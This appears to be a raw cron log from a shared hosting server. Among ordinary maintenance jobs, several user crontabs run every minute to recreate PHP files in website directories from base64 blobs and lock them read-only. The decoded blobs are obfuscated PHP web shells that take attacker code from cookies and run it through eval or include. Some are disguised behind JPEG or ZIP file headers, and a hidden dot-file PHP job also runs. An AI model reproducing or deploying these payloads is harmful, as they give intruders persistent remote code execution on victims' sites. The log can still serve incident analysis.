Mar  1 15:47:01 medusa CROND[8663]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:47:01 medusa CROND[8672]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:48:01 medusa CROND[30265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:48:01 medusa CROND[30266]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:48:01 medusa CROND[30267]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:48:01 medusa CROND[30269]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:48:01 medusa CROND[30270]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:48:01 medusa CROND[30273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:48:01 medusa CROND[30277]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:48:01 medusa CROND[30280]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:48:01 medusa CROND[30282]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:48:01 medusa CROND[30287]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:48:01 medusa CROND[30291]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:48:01 medusa CROND[30292]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:48:01 medusa CROND[30294]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:49:02 medusa CROND[20240]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:49:02 medusa CROND[20241]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:49:02 medusa CROND[20243]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:49:02 medusa CROND[20244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:49:02 medusa CROND[20245]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:49:02 medusa CROND[20246]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:49:02 medusa CROND[20242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:49:02 medusa CROND[20247]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:49:02 medusa CROND[20251]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:49:02 medusa CROND[20252]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:49:02 medusa CROND[20254]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:49:02 medusa CROND[20258]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:50:01 medusa CROND[9951]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:50:01 medusa CROND[9952]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:50:01 medusa CROND[9976]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:50:01 medusa CROND[10015]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:50:02 medusa CROND[10120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 15:50:02 medusa CROND[10121]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:50:02 medusa CROND[10122]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:50:02 medusa CROND[10123]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:50:02 medusa CROND[10124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:50:02 medusa CROND[10127]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
